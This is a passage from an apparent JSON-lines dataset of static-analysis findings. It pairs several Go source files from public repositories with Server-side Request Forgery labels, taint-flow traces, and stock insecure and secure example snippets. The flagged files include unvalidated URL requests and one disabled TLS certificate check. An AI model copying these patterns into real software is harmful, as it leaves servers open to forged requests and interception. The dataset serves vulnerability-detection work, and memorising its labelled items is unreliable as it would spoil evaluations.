json.Marshal(g)\n\tif err != nil {\n\t\treturn err\n\t}\n\tlog.Printf(\"[SETTINGS] %s\", payl)\n\treturn bot.SetSettings(bytes.NewBuffer(payl))\n}\n\nfunc (bot *BotAPI) SetGStarted(text string) error {\n\tg := ThreadSetting{\n\t\tType: \"call_to_actions\",\n\t\tState: \"new_thread\",\n\t\tAction: []GStarted{\n\t\t\t{text},\n\t\t},\n\t}\n\n\tlog.Printf(\"[SETTINGS] %#v\", g)\n\tpayl, err := json.Marshal(g)\n\tif err != nil {\n\t\treturn err\n\t}\n\tlog.Printf(\"[SETTINGS] %s\", payl)\n\treturn bot.SetSettings(bytes.NewBuffer(payl))\n}\n\nfunc (bot *BotAPI) SetMenu(bts []Button) error {\n\tg := ThreadSetting{\n\t\tType: \"call_to_actions\",\n\t\tState: \"existing_thread\",\n\t\tAction: bts,\n\t}\n\n\tlog.Printf(\"[SETTINGS] %#v\", g)\n\tpayl, err := json.Marshal(g)\n\tif err != nil {\n\t\treturn err\n\t}\n\tlog.Printf(\"[SETTINGS] %s\", payl)\n\treturn bot.SetSettings(bytes.NewBuffer(payl))\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 33, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 33, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 35, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "NewRequest"}}]}} {"id": "a3bda3a119dd6d4e082892247674801c9ceb3a980733c77db286da22403c4448", "license": {"spdx": ["MIT"], "repo": "cognusion/go-jar", "path": "cmd/poolmanager/poolmanager.go", "repo_head_hexsha": "44f25f9736d3454cde9d4000b4679c45f0ea4263", "stack_hexsha": "3be6ad8b5db6f13fa34a6379636aaebb7df6cd59", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 151, "entireCode": "package main\n\nimport (\n\t\"github.com/cognusion/go-jar/utils\"\n\t\"github.com/cognusion/srvdisco\"\n\t\"github.com/spf13/pflag\"\n\n\t\"crypto/tls\"\n\t\"encoding/base64\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"os\"\n\t\"strings\"\n)\n\nvar (\n\tdebug bool\n\tuseSRV bool\n\tsuffixSRV string\n\tdomainSRV string\n\tscheme string\n\ttargets string\n\tbaseURI string\n\tcommand string\n\tpool string\n\n\tcommands = []string{\"add\", \"lose\", \"list\"}\n)\n\nconst (\n\tuaversion = \"1.2\"\n\tprefixSRV = \"jarpool\"\n)\n\nfunc init() {\n\t// Set up the CLI\n\tpflag.BoolVar(&debug, \"debug\", false, \"Enable vociferous output\")\n\tpflag.BoolVar(&useSRV, \"srv\", true, \"Use DNS SRV to look up targets\")\n\tpflag.StringVar(&suffixSRV, \"srvsuffix\", \"\", \"Suffix of DNS SRV to use (e.g. dev, prod, useast1c, etc.)\")\n\tpflag.StringVar(&domainSRV, \"srvdomain\", \"\", \"Domain of DNS SRV to use\")\n\tpflag.StringVar(&scheme, \"scheme\", \"https\", \"Protocol scheme to prefix\")\n\tpflag.StringVar(&baseURI, \"uri\", \"/admin/pool\", \"Base path to the manager\")\n\tpflag.StringVar(&targets, \"targets\", \"\", \"List of JARDs to manage (if not using SRV)\")\n\tpflag.StringVar(&pool, \"pool\", \"\", \"Pool to act upon\")\n\tpflag.StringVar(&command, \"command\", \"\", fmt.Sprintf(\"Command to issue, one of: %v\", commands))\n\tpflag.Parse()\n\n\t// DGAF about cert issues. Make It So.\n\thttp.DefaultTransport.(*http.Transport).TLSClientConfig = &tls.Config{InsecureSkipVerify: true}\n}\n\nfunc get(url string) error {\n\n\treq, err := http.NewRequest(\"GET\", url, nil)\n\tif err != nil {\n\t\treturn err\n\t}\n\treq.Header.Set(\"User-Agent\", fmt.Sprintf(\"PoolManager/%s\", uaversion))\n\n\tresp, err := http.DefaultClient.Do(req)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tdefer resp.Body.Close()\n\tbody, err := utils.ReadAll(resp.Body)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tfmt.Printf(\"%s\\n%s\\n\", url, string(body))\n\treturn nil\n\n}\n\nfunc main() {\n\n\tvar jards []string\n\n\tif useSRV {\n\t\tvar err error\n\t\tjards, err = srvdisco.Discover(domainSRV, fmt.Sprintf(\"%s%s\", prefixSRV, suffixSRV), scheme)\n\t\tif err != nil {\n\t\t\tfmt.Printf(\"Error during SRV lookup: %s\\n\", err.Error())\n\t\t\tos.Exit(1)\n\t\t}\n\n\t} else {\n\t\t// Not using SRV: Hardcode\n\n\t\tif targets == \"\" {\n\t\t\tfmt.Println(\"Either -srv must be set, or -targets must not be empty\")\n\t\t\tos.Exit(1)\n\t\t}\n\n\t\tjards = strings.Split(targets, \",\")\n\t\tfor i, s := range jards {\n\t\t\tjards[i] = fmt.Sprintf(\"%s://%s\", scheme, strings.TrimSpace(s))\n\t\t}\n\t}\n\n\tfmt.Println(\"Targets:\")\n\tfor _, jard := range jards {\n\t\tfmt.Printf(\"\\t%s%s\\n\", jard, baseURI)\n\t}\n\tfmt.Println()\n\n\t// Handle commands\n\tcommandOk := false\n\tcommandFields := strings.Fields(command)\n\n\tif len(commandFields) == 0 {\n\t\tfmt.Println(\"Must set --command\")\n\t\tos.Exit(1)\n\t}\n\n\tfor _, c := range commands {\n\t\tif c == commandFields[0] {\n\t\t\tcommandOk = true\n\t\t\tbreak\n\t\t}\n\t}\n\tif !commandOk {\n\t\t// Wasn't in list\n\t\tfmt.Printf(\"Invalid --command '%s'\\n\", commandFields[0])\n\t\tos.Exit(1)\n\t} else if commandFields[0] != \"list\" && len(commandFields) != 2 {\n\t\t// Needs unprovided argument\n\t\tfmt.Printf(\"Command '%s' requires an additional argument\\n\", commandFields[0])\n\t\tos.Exit(1)\n\t}\n\n\tif commandFields[0] != \"list\" && pool == \"\" {\n\t\tfmt.Println(\"Must set --pool unless --command list\")\n\t\tos.Exit(1)\n\t}\n\n\tvar uri string\n\tif commandFields[0] == \"list\" && pool == \"\" {\n\t\turi = fmt.Sprintf(\"%s/%s\", baseURI, commandFields[0])\n\t} else if commandFields[0] == \"list\" {\n\t\turi = fmt.Sprintf(\"%s/%s/%s\", baseURI, pool, commandFields[0])\n\t} else {\n\t\t// The second command argument needs base64-encoding\n\t\tb64thing := base64.StdEncoding.EncodeToString([]byte(commandFields[1]))\n\t\turi = fmt.Sprintf(\"%s/%s/%s/%s\", baseURI, pool, commandFields[0], b64thing)\n\t}\n\n\tfor _, jard := range jards {\n\t\turl := fmt.Sprintf(\"%s%s\", jard, uri)\n\t\terr := get(url)\n\t\tif err != nil {\n\t\t\tfmt.Printf(\"Error calling GET %s : %s\\n\", url, err.Error())\n\t\t}\n\t}\n\tfmt.Println(\"Complete\")\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 150, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 151, "eventType": "source", "messageKey": "synz.COMMON.value.passed.to", "params": {"arg0": "get"}}, {"lineNo": 151, "eventType": "source", "messageKey": "synz.COMMON.called", "params": {"arg0": "get"}}, {"lineNo": 151, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "NewRequest"}}]}} {"id": "70a597b22e3dc63931779273c7548d2e8e1fe9832cf737d776e3a62157fb6210", "license": {"spdx": ["Apache-2.0"], "repo": "tibelf/bds", "path": "splitter/xlm/splitter.go", "repo_head_hexsha": "12d2ea8abe3ca4388bbd03346ea5a86c0b753c48", "stack_hexsha": "4efe87f04daaf4a0ee15867122872cb214e82b28", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 177, "entireCode": "package xlm\n\nimport (\n\t\"fmt\"\n\t\"github.com/go-xorm/xorm\"\n\t\"github.com/jdcloud-bds/bds/common/kafka\"\n\t\"github.com/jdcloud-bds/bds/common/log\"\n\t\"github.com/jdcloud-bds/bds/service\"\n\tmodel \"github.com/jdcloud-bds/bds/service/model/xlm\"\n\t\"github.com/xeipuuv/gojsonschema\"\n\t\"net/http\"\n\t\"strings\"\n\t\"time\"\n)\n\ntype SplitterConfig struct {\n\tEngine *xorm.Engine\n\tConsumer *kafka.ConsumerGroup\n\tTopic string\n\tDatabaseEnable bool\n\tMaxBatchLedger int\n\tEndpoint string\n\tJSONSchemaFile string\n\tJSONSchemaValidationEnable bool\n\tConcurrentHeight int64\n\tConcurrentHTTP int64\n\tDatabaseWorkerBuffer int\n\tDatabaseWorkerNumber int\n}\n\ntype XLMSplitter struct {\n\tcfg *SplitterConfig\n\tcronWorker *CronWorker\n\tjsonSchemaLoader gojsonschema.JSONLoader\n\tlatestSaveDataTimestamp time.Time\n\tlatestReceiveMessageTimestamp time.Time\n\tdatabaseWorkerChan chan *XLMLedgerData\n\tdatabaseWorkerStopChan chan bool\n}\n\nfunc NewSplitter(cfg *SplitterConfig) (*XLMSplitter, error) {\n\tvar err error\n\ts := new(XLMSplitter)\n\ts.cfg = cfg\n\tif s.cfg.JSONSchemaValidationEnable {\n\t\tf := fmt.Sprintf(\"file://%s\", s.cfg.JSONSchemaFile)\n\t\ts.jsonSchemaLoader = gojsonschema.NewReferenceLoader(f)\n\t}\n\ts.databaseWorkerChan = make(chan *XLMLedgerData, cfg.DatabaseWorkerBuffer)\n\ts.databaseWorkerStopChan = make(chan bool, 0)\n\n\ts.cronWorker = NewCronWorker(s)\n\terr = s.cronWorker.Prepare()\n\tif err != nil {\n\t\tlog.DetailError(err)\n\t\treturn nil, err\n\t}\n\n\treturn s, nil\n}\n\nfunc (s *XLMSplitter) Start() {\n\terr := s.cronWorker.Start()\n\tif err != nil {\n\t\tlog.Error(\"splitter xlm: cron worker start error\")\n\t\tlog.DetailError(err)\n\t\treturn\n\t}\n\tfor i := 0; i < s.cfg.DatabaseWorkerNumber; i++ {\n\t\tgo s.databaseWorker(i)\n\t}\nGETMAXSEQ:\n\tmaxLedger, err := s.getMaxSequenceInDB()\n\tif err != nil {\n\t\tlog.Error(\"splitter xlm:get max seq error:\", err)\n\t\tlog.DetailError(err)\n\t\ttime.Sleep(1 * time.Second)\n\t\tgoto GETMAXSEQ\n\t}\n\tlog.Debug(\"splitter xlm: max sequence in db is %d\", maxLedger)\n\n\tif maxLedger < s.cfg.ConcurrentHeight {\n\t\ts.getLedgerFromHorizon(maxLedger)\n\t}\nUPDATEMAXSEQ:\n\tmaxLedger, err = s.getMaxSequenceInDB()\n\tif err != nil {\n\t\tlog.Error(\"splitter xlm:update max seq error:\", err)\n\t\tlog.DetailError(err)\n\t\ttime.Sleep(1 * time.Second)\n\t\tgoto UPDATEMAXSEQ\n\t}\n\tlog.Debug(\"splitter xlm: max sequence in db is %d\", maxLedger)\n\n\terr = s.cfg.Consumer.Start(s.cfg.Topic)\n\tif err != nil {\n\t\tlog.Error(\"splitter xlm: consumer start error\")\n\t\tlog.DetailError(err)\n\t\treturn\n\t}\n\n\tlog.Debug(\"splitter xlm: consumer start topic %s\", s.cfg.Topic)\n\tlog.Debug(\"splitter xlm: database enable is %v\", s.cfg.DatabaseEnable)\n\n\texpectedLedger := maxLedger + 1\n\tsendFlag := true\n\tfor {\n\t\tselect {\n\t\tcase message := <-s.cfg.Consumer.MessageChannel():\n\t\t\tlog.Debug(\"splitter xlm: topic %s receive data on partition %d offset %d length %d\",\n\t\t\t\tmessage.Topic, message.Partition, message.Offset, len(message.Data))\n\t\t\tstats.Add(MetricReceiveMessages, 1)\n\t\t\ts.latestReceiveMessageTimestamp = time.Now()\n\n\t\tSTART:\n\t\t\tif s.cfg.JSONSchemaValidationEnable {\n\t\t\t\tok, err := s.jsonSchemaValid(string(message.Data))\n\t\t\t\tif err != nil {\n\t\t\t\t\tlog.Error(\"splitter xlm: json schema valid error\")\n\t\t\t\t}\n\t\t\t\tif !ok {\n\t\t\t\t\tlog.Warn(\"splitter xlm: json schema valid failed\")\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tdata, err := ParseLedger(string(message.Data))\n\t\t\tif err != nil {\n\t\t\t\tstats.Add(MetricParseDataError, 1)\n\t\t\t\tlog.Error(\"splitter xlm: ledger parse error, retry after 5s\")\n\t\t\t\tlog.DetailError(err)\n\t\t\t\ttime.Sleep(time.Second * 5)\n\t\t\t\tgoto START\n\t\t\t}\n\n\t\t\tfor _, d := range data {\n\t\t\t\tif d.Ledger.Sequence != expectedLedger {\n\t\t\t\t\tlog.Debug(\"splitter xlm: ledger %d is not expected, is %d, skip\", d.Ledger.Sequence, expectedLedger)\n\t\t\t\t\tif sendFlag == true {\n\t\t\t\t\tSEND:\n\t\t\t\t\t\terr := s.sendToKafka(expectedLedger, expectedLedger+10)\n\t\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t\tlog.Error(\"splitter xlm: send to kafka from %d to %d error\", expectedLedger, expectedLedger+10)\n\t\t\t\t\t\t\tlog.DetailError(err)\n\t\t\t\t\t\t\ttime.Sleep(1 * time.Second)\n\t\t\t\t\t\t\tgoto SEND\n\t\t\t\t\t\t}\n\t\t\t\t\t\tlog.Debug(\"splitter xlm: send flag is %s ,send to kafka ledger from %d to %d\", sendFlag, expectedLedger, expectedLedger+10)\n\t\t\t\t\t}\n\t\t\t\t\tsendFlag = false\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tif s.cfg.DatabaseEnable {\n\t\t\t\t\tds := make([]*XLMLedgerData, 0)\n\t\t\t\t\tds = append(ds, d)\n\t\t\t\t\terr = s.SaveLedger(ds)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tlog.Error(\"splitter xlm: ledger %d save error, retry after 5s\", d.Ledger.Sequence)\n\t\t\t\t\t\tlog.DetailError(err)\n\t\t\t\t\t\ttime.Sleep(time.Second * 5)\n\t\t\t\t\t\tgoto START\n\t\t\t\t\t} else {\n\t\t\t\t\t\tlog.Info(\"splitter xlm: ledger %d save success\", d.Ledger.Sequence)\n\t\t\t\t\t\ts.cfg.Consumer.MarkOffset(message)\n\t\t\t\t\t}\n\t\t\t\t\texpectedLedger = d.Ledger.Sequence + 1\n\t\t\t\t\tsendFlag = true\n\t\t\t\t\tlog.Debug(\"splitter xlm: update expected ledger is %d and send flag %v\", expectedLedger, sendFlag)\n\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}\n\nfunc (s *XLMSplitter) sendToKafka(start, end int64) error {\n\turl := fmt.Sprintf(\"http://%s/send?ledger_start=%d&ledger_end=%d&send_kafka=true\", s.cfg.Endpoint, start, end)\n\t_, err := http.Get(url)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}\n\nfunc (s *XLMSplitter) Stop() {\n\ts.cronWorker.Stop()\n}\n\nfunc (s *XLMSplitter) CheckLedger(curLedger *XLMLedgerData) (bool, int64) {\n\tdb := service.NewDatabase(s.cfg.Engine)\n\theight := int64(-1)\n\tprevLedger := make([]*model.Ledger, 0)\n\terr := db.Where(\"sequence = ?\", curLedger.Ledger.Sequence-1).Find(&prevLedger)\n\tif err != nil {\n\t\tlog.DetailError(err)\n\t\treturn false, height\n\t}\n\n\tif len(prevLedger) != 1 {\n\t\tlog.Warn(\"splitter xlm: can not find previous ledger %d\", curLedger.Ledger.Sequence-1)\n\t\tledgers := make([]*model.Ledger, 0)\n\t\terr = db.Desc(\"sequence\").Limit(1).Find(&ledgers)\n\t\tif err != nil {\n\t\t\tlog.DetailError(err)\n\t\t} else {\n\t\t\tif len(ledgers) > 0 {\n\t\t\t\theight = ledgers[0].Sequence + 1\n\t\t\t} else {\n\t\t\t\tlog.Warn(\"splitter xlm: database empty\")\n\t\t\t\theight = 1\n\t\t\t}\n\t\t}\n\t\treturn false, height\n\t}\n\tlog.Debug(\"splitter xlm: check ledger %d pass\", curLedger.Ledger.Sequence)\n\treturn true, height\n}\n\nfunc (s *XLMSplitter) SaveLedger(data []*XLMLedgerData) error {\n\tstartTime := time.Now()\n\ttx := service.NewTransaction(s.cfg.Engine)\n\tdefer tx.Close()\n\n\terr := tx.Begin()\n\tif err != nil {\n\t\t_ = tx.Rollback()\n\t\tlog.DetailError(err)\n\t\tstats.Add(MetricDatabaseRollback, 1)\n\t\treturn err\n\t}\n\tif len(data) == 1 {\n\t\tledgerTemp := new(model.Ledger)\n\t\tledgerTemp.Sequence = data[0].Ledger.Sequence\n\t\thas, err := tx.Get(ledgerTemp)\n\t\tif err != nil {\n\t\t\t_ = tx.Rollback()\n\t\t\tlog.DetailError(err)\n\t\t\tstats.Add(MetricDatabaseRollback, 1)\n\t\t\treturn err\n\t\t}\n\t\tif has {\n\t\t\tlog.Warn(\"splitter xlm: ledger %d has been stored\", data[0].Ledger.Sequence)\n\t\t\t_ = tx.Rollback()\n\t\t\treturn nil\n\t\t}\n\t}\n\tledgers := make([]*model.Ledger, 0)\n\ttransactions := make([]*model.Transaction, 0)\n\toperations := make([]*model.Operation, 0)\n\tfor _, d := range data {\n\t\tledgers = append(ledgers, d.Ledger)\n\t\ttransactions = append(transactions, d.Transactions...)\n\t\toperations = append(operations, d.Operations...)\n\t}\n\tvar affected int64\n\taffected, err = tx.BatchInsert(ledgers)\n\tif err != nil {\n\t\t_ = tx.Rollback()\n\t\tlog.DetailError(err)\n\t\tstats.Add(MetricDatabaseRollback, 1)\n\t\treturn err\n\t}\n\tlog.Debug(\"splitter xlm: ledger write %d rows\", affected)\n\n\taffected, err = tx.BatchInsert(transactions)\n\tif err != nil {\n\t\t_ = tx.Rollback()\n\t\tlog.DetailError(err)\n\t\tstats.Add(MetricDatabaseRollback, 1)\n\t\treturn err\n\t}\n\tlog.Debug(\"splitter xlm: transaction write %d rows\", affected)\n\n\taffected, err = tx.BatchInsert(operations)\n\tif err != nil {\n\t\t_ = tx.Rollback()\n\t\tlog.DetailError(err)\n\t\tstats.Add(MetricDatabaseRollback, 1)\n\t\treturn err\n\t}\n\tlog.Debug(\"splitter xlm: operations write %d rows\", affected)\n\n\terr = tx.Commit()\n\tif err != nil {\n\t\t_ = tx.Rollback()\n\t\tlog.DetailError(err)\n\t\treturn err\n\t}\n\ttx.Close()\n\tstats.Add(MetricDatabaseCommit, int64(len(ledgers)))\n\tstats.Add(MetricSaveLedger, int64(len(ledgers)))\n\telaspedTime := time.Now().Sub(startTime)\n\ts.latestSaveDataTimestamp = time.Now()\n\tlog.Debug(\"splitter xlm: %d ledgers write done elasped: %s\", len(ledgers), elaspedTime.String())\n\treturn nil\n}\n\nfunc (s *XLMSplitter) databaseWorker(i int) {\n\tlog.Info(\"splitter xlm: starting database worker %d\", i)\n\tledgerBuffer := make([]*XLMLedgerData, 0)\n\tfor {\n\t\tselect {\n\t\tcase data := <-s.databaseWorkerChan:\n\t\t\tledgerBuffer = append(ledgerBuffer, data)\n\t\t\tif len(ledgerBuffer) >= 1000 {\n\t\t\tINSERT1:\n\t\t\t\terr := s.SaveLedger(ledgerBuffer)\n\t\t\t\tif err != nil {\n\t\t\t\t\tlog.DetailError(err)\n\t\t\t\t\ttime.Sleep(100 * time.Millisecond)\n\t\t\t\t\tgoto INSERT1\n\t\t\t\t}\n\t\t\t\tledgerBuffer = make([]*XLMLedgerData, 0)\n\t\t\t}\n\t\tcase <-time.After(1 * time.Second):\n\t\t\tif len(ledgerBuffer) != 0 {\n\t\t\tINSERT2:\n\t\t\t\terr := s.SaveLedger(ledgerBuffer)\n\t\t\t\tif err != nil {\n\t\t\t\t\tlog.DetailError(err)\n\t\t\t\t\ttime.Sleep(100 * time.Millisecond)\n\t\t\t\t\tgoto INSERT2\n\t\t\t\t}\n\t\t\t\tledgerBuffer = make([]*XLMLedgerData, 0)\n\t\t\t}\n\t\tcase stop := <-s.databaseWorkerStopChan:\n\t\t\tif stop {\n\t\t\t\tmsg := fmt.Sprintf(\"splitter xlm: database worker %d stopped\", i)\n\t\t\t\tlog.Info(msg)\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t}\n}\n\nfunc (s *XLMSplitter) jsonSchemaValid(data string) (bool, error) {\n\tstartTime := time.Now()\n\tdataLoader := gojsonschema.NewStringLoader(data)\n\tresult, err := gojsonschema.Validate(s.jsonSchemaLoader, dataLoader)\n\tif err != nil {\n\t\tlog.Error(\"splitter xlm: json schema validation error\")\n\t\tlog.DetailError(err)\n\t\treturn false, err\n\t}\n\tif !result.Valid() {\n\t\tfor _, err := range result.Errors() {\n\t\t\tlog.Error(\"splitter xlm: data invalid %s\", strings.ToLower(err.String()))\n\t\t\treturn false, nil\n\t\t}\n\t\tstats.Add(MetricVaildationError, 1)\n\t} else {\n\t\tstats.Add(MetricVaildationSuccess, 1)\n\t}\n\telaspedTime := time.Now().Sub(startTime)\n\tlog.Debug(\"splitter xlm: json schema validation elasped %s\", elaspedTime)\n\treturn true, nil\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 176, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 176, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 177, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "Get"}}]}} {"id": "6a99c0bfc71532f8283b322de76b608882db825fb5295f5cdc8b089f08d3ea8b", "license": {"spdx": ["MIT"], "repo": "minix357/subsearch", "path": "urlscan.go", "repo_head_hexsha": "c7eca97221e24052d358e22ec3a867c4a6336f2b", "stack_hexsha": "be71ad3bc017e965b46806ae9db735762c3d9124", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 18, "entireCode": "package main\n\nimport (\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"net/http\"\n)\n\nfunc urlscanIOFetcher(d string) ([]string, error) {\n\tvar jsonResults = new(struct {\n\t\tResults []struct {\n\t\t\tPage struct {\n\t\t\t\tDomain string `json:\"domain\"`\n\t\t\t} `json:\"page\"`\n\t\t} `json:\"results\"`\n\t})\n\tr, err := http.Get(fmt.Sprintf(\"https://urlscan.io/api/v1/search/?q=domain:%s\", d))\n\tif err != nil {\n\t\treturn []string{}, err\n\t}\n\tb, _ := ioutil.ReadAll(r.Body)\n\tr.Body.Close()\n\n\terr = json.Unmarshal(b, &jsonResults)\n\tif err != nil {\n\t\treturn []string{}, err\n\t}\n\n\tvar results = make([]string, 0)\n\tfor _, p := range jsonResults.Results {\n\t\tresults = append(results, p.Page.Domain)\n\t}\n\n\treturn results, nil\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 18, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 18, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "Get"}}]}} {"id": "e3c16a7cf2545c1ea7db9af2ccf537f0125943f662493aa1407938761cacae88", "license": {"spdx": ["Apache-2.0"], "repo": "wanghe-fit2cloud/KubeOperator", "path": "pkg/util/webkubectl/webkubectl.go", "repo_head_hexsha": "f26e742849a9c5aa495b79b616381c6850e6c4ea", "stack_hexsha": "04b39867e54e1b2c4029e8b69a46c446cbed5eaf", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 28, "entireCode": "package webkubectl\n\nimport (\n\t\"bytes\"\n\t\"encoding/json\"\n\t\"errors\"\n\t\"fmt\"\n\t\"github.com/spf13/viper\"\n\t\"io/ioutil\"\n\t\"net/http\"\n)\n\ntype response struct {\n\tSuccess bool `json:\"success\"`\n\tToken string `json:\"token\"`\n\tMessage string `json:\"message\"`\n}\n\nfunc GetConnectToken(name string, apiServer string, token string) (string, error) {\n\treq := map[string]string{\n\t\t\"name\": name,\n\t\t\"apiServer\": apiServer,\n\t\t\"token\": token,\n\t}\n\n\tj, _ := json.Marshal(&req)\n\turl := fmt.Sprintf(\"http://%s:%d/api/kube-token\", viper.GetString(\"webkubectl.host\"), viper.GetInt(\"webkubectl.port\"))\n\tresp, err := http.Post(url, \"application/json\", bytes.NewReader(j))\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tvar r response\n\tif resp.StatusCode == http.StatusOK {\n\t\tbuf, _ := ioutil.ReadAll(resp.Body)\n\t\t_ = json.Unmarshal(buf, &r)\n\t\tif r.Success {\n\t\t\treturn r.Token, 